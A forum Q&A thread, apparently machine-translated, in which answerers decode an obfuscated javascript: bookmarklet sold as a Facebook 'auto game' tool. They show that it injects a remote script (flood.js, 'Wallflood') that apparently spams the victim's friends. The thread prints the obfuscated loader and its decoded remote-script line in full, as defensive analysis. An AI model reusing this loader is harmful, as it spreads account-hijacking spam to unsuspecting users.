Can someone decrypt this javascript

Question

I found it on a forum that told me that this code will give me an auto game for playing games on facebook, but I’m afraid that this is not what they say, I’m afraid that this is a malicious script

please, help:)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0); 

Answer 1

Let's start by decoding escape sequences and get rid of this _0x8dd5 variable _0x8dd5 :

 var x=[ "src","script","createElement","http://ug-radio.co.cc/flood.js", "appendChild","body" ]; (a=(b=document)[x[2]](x[1]))[x[0]]=x[3]; b[x[5]][x[4]](a); void (0); 

Substituting a string from an array, you are left with:

 (a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js"; b["body"]["appendChild"](a); void (0); 

So what makes the script simple:

 a = document.createElement("script"); a.src = "http://ug-radio.co.cc/flood.js"; document.body.appendChild(a); void (0); 

those. he downloads Javascript http://ug-radio.co.cc/flood.js on the page.

Looking at the script in the download file, he calls himself "Wallflood By X-Cisadane." It seems you are getting a list of your friends and posting a message (or maybe from) all of them.

Of course, there is nothing to do with auto-games for games.

Answer 2

I opened firebug and pasted the script part into the console (I tried to only insert the part that created the variable and not run the code). This is what I got:

what i inserted:

 console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]); 

result:

 ["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"] 

In short, it looks like a script to download an external Javascript file from a remote server with a very ingenious domain name.

There are several characters that do not convert completely as you expected. This could be a typo (unlikely) or deliberate further obfuscation to trick any automatic malware scanner that looks for scripts containing URLs or links to createElement , etc. The rest of the script corrects these characters in place separately before running.

The variable name _0x8dd5 chosen to look like hexadecimal code and make it all more difficult to read, but in fact it is just the usual Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another in order to fix intentional spaces.

Definitely a malicious script.

I recommend to burn it immediately !; -)

Answer 3

Well, the declared var is actually this:

 var _0x8dd5= [ 'src', 'script', 'cx7 2eateElement', 'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body' ]; 

The rest is easy to understand.

Answer 4

Well, your first statement sets up an array with roughly the following contents:

 var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"]; 

I say “rude” because I use the Chrome JavaScript console to analyze the data, and some things seem a little distorted. I cleaned the distorted portions as best as possible.

The rest seems to call something line by line:

 var b = document; var a = b.createElement("script"); a.src = "http://ug-radio.co.cc/flood.js"; b.body.appendChild(a); 

Basically, this is the addition of a (probably malicious) script to the document.

Answer 5

You probably know how to decode it or how it was encoded, but for those who are not sure, this is just a two-digit hexadecimal escape sequence. It can also be 4-digit using \ udddd (for example, "\ u0032" equals "2") or \ ddd for octal.

Decoding a hex string in javascript